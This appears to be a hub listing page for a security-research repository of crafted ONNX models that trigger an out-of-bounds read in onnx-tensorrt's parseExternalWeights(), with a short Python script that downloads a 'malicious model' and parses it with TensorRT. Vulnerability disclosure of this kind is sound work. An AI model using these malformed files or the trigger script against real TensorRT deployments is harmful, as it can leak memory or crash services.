FN3MOE/onnx-tensorrt-poc-oob-read
By FN3MOE · ↓ 0 · ♥ 0 · Updated 2026-03-05
What's in this repo
This page lists the files in FN3MOE/onnx-tensorrt-poc-oob-read, including poc1_negative_offset.onnx, poc2_huge_offset.onnx, poc3_huge_length.onnx.
- 3 ONNX models (.onnx files)
- 8 files, including 3 .onnx, 3 .bin, 1 .md
- Last updated 2026-03-05
ONNX files
| File | Size | Download |
|---|---|---|
| poc1_negative_offset.onnx | — | Download |
| poc2_huge_offset.onnx | — | Download |
| poc3_huge_length.onnx | — | Download |
How to use
These ONNX files can be loaded with ONNX Runtime. To inspect a model graph, upload the file to the Netron viewer. Download links point to the original files on Hugging Face.
README
Security Research — ONNX External Data OOB Read
This repository contains proof-of-concept ONNX models demonstrating an out-of-bounds read vulnerability in onnx-tensorrt's parseExternalWeights() function.
This is for authorized security research only.
Files
poc1_negative_offset.onnx— Negative offset in external datapoc2_huge_offset.onnx— Offset past file boundarypoc3_huge_length.onnx— Length exceeds file sizeweights_*.bin— Associated external weight files
Reproduction
# pip install tensorrt onnx
from huggingface_hub import hf_hub_download
import subprocess
# Download the malicious model
model_path = hf_hub_download(
repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
filename="poc1_negative_offset.onnx"
)
weights_path = hf_hub_download(
repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
filename="weights_neg_offset.bin"
)
# Load with TensorRT — triggers OOB read
import tensorrt as trt
logger = trt.Logger(trt.Logger.VERBOSE)
builder = trt.Builder(logger)
network = builder.create_network(
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
parser = trt.OnnxParser(network, logger)
with open(model_path, "rb") as f:
parser.parse(f.read())
Model info
Created: 2026-03-05
Updated: 2026-03-05
View on Hugging FaceFiles (8)
Related models
More from FN3MOE
No other models by this author.
More models
No task type declared.